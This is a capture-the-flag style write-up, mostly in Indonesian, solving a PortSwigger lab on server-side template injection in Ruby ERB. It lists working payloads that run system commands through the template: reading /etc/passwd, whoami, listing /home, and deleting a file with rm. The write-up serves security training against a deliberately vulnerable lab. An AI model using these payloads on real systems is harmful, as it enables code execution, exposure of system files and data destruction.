Basic server-side template injection
Link: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
Description:
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt
file from Carlos's home directory.
Proof of concept:
Analisa pada web target
Dari hasil analisa didapati ketika product tidak tersedia atau out of stock akan mengirim pesan melalui parameter
message
. Jika stok product tersedia, akan diarahkan ke halaman detail productInputkan basic payload SSTI yaitu
{{7*7}}
Outputnya akan tetap
{{7*7}}
dikarenakan dari informasi yang didapati pada lab description sistem target menggunakan teknologiERB ruby
, maka inputkan payload basic SSTI ERB seperti yang dapat dilihat di https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby sebagai contoh disini menggunakan payload<%= 7*7 %>
maka akan ditampilkan nilai49
. Artinya sistem rentan terhadap SSTI AttackSelanjutnya, untuk memastikan lainnya coba gunakan payload SSTI ERB ruby
<%= system('cat /etc/passwd') %>
untuk menampilkan data-data sensitive yang berada pada file/etc/passwd
Setelah berhasil, cari tahu username dari user yang berjalan pada server target dengan menggunakan perintah atau payload SSTI ERB ruby berikut
<%= system("whoami") %>
Dan cari informasi mengenai direktori yang ada pada direktori home dengan menggunakan payload
<%= Dir.entries('/home') %>
Selanjutnya, untuk menyelesaikan tangtangan lab ini gunakan payload
<%= system('rm /home/carlos/morale.txt') %>
Thanks, Stay Ethical & Happy Hacking! 🍻
Last updated